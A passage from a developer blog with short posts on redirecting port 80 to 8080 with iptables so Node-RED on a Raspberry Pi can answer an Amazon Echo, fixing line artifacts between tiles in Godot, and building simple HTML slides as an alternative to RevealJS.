Unfortunately echo 3rd generation expects your device to be listening to port 80, but unless you are running nodered as sudo you will not have the rights to expose port 80.

The solution is to redirect from port 80 to 8080 using iptables.

And since we want the iptables rules to be persisted, we need to install iptables-persistent

First run:

sudo apt-get install iptables-persistent

Then copy these rules:

*nat

-A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

COMMIT

*filter

-I INPUT 1 -p tcp --dport 80 -j ACCEPT

COMMIT

Write them on this file:

sudo nano /etc/iptables.test.rules

Now execute and save the rules:

sudo iptables-restore < /etc/iptables.test.rules
sudo sh -c 'iptables-save > /etc/iptables.up.rules'

And lastly, copy this

#!/bin/sh
/sbin/iptables-restore < /etc/iptables.up.rules

And paste it into this file to reload the rules when restarting your raspberry pi

sudo nano /etc/network/if-pre-up.d/iptables

And make the file executable:

sudo chmod +x /etc/network/if-pre-up.d/iptables

Now just ask alexa to look for devices and a new device with the name from the node "amazon echo device" should show up

Commands like "Alexa, turn on deviceName" will show up on your debug node

Links:

http://www.intellamech.com/RaspberryPi-projects/rpi_iptables.html

https://www.raspberrypi.org/forums/viewtopic.php?t=167469

https://www.youtube.com/watch?v=4QfoXdcfqKI

Lines between tiles on godot tileset

2020-06-15 00:00:00 +0000

If you are having issues with tilesets, like this:

You may want to disable Filter and Mipmaps for your textures

To do that select your texture on the FileSystem view and the Import tab on the upper left part of the screen.

Then disable Filter and Mipmaps and reimport. To me for some reason it was already disabled, enabling reimporting then disabling and reimporting did the trick

Hope that helps!

Simple slides with html

2020-06-07 00:00:00 +0000

If I need to present some slides usually my (everyones I gues) solution was to use Powerpoint

Thing is, when using powerpoint you need to be sure that the computer where you are going to do the presentation also have the (really expensive) office package.

Either that or you need to use some alternative that not always render the slides the way you expected.

If you go with the cloud route, you will need internet access to give your presentation.

And if you are a software developer powerpoint is limited. You could get away with a bunch of html....And you can

One option is RevealJS a JS framework for presentations.

RevealJS is a full featured framework with support for themes, plugins and remote control for slides.

RevealJS is very powerfull but has some caveats.

You need to have the whole framework with the presentation, which consists of several files.

This is more of a nuisance than a real problem.

My biggest problem is that using the available themes sometimes you need to fight RevealJS to have the slide with the layout you want. RevealJS default theme does some adjustments to the layout programatically and positioning can be a pain.

For this I created a small html template for slide presentations on the desktop LightPoint.

It is a single file using grid layout for positioning. Easy to modify and easy to send.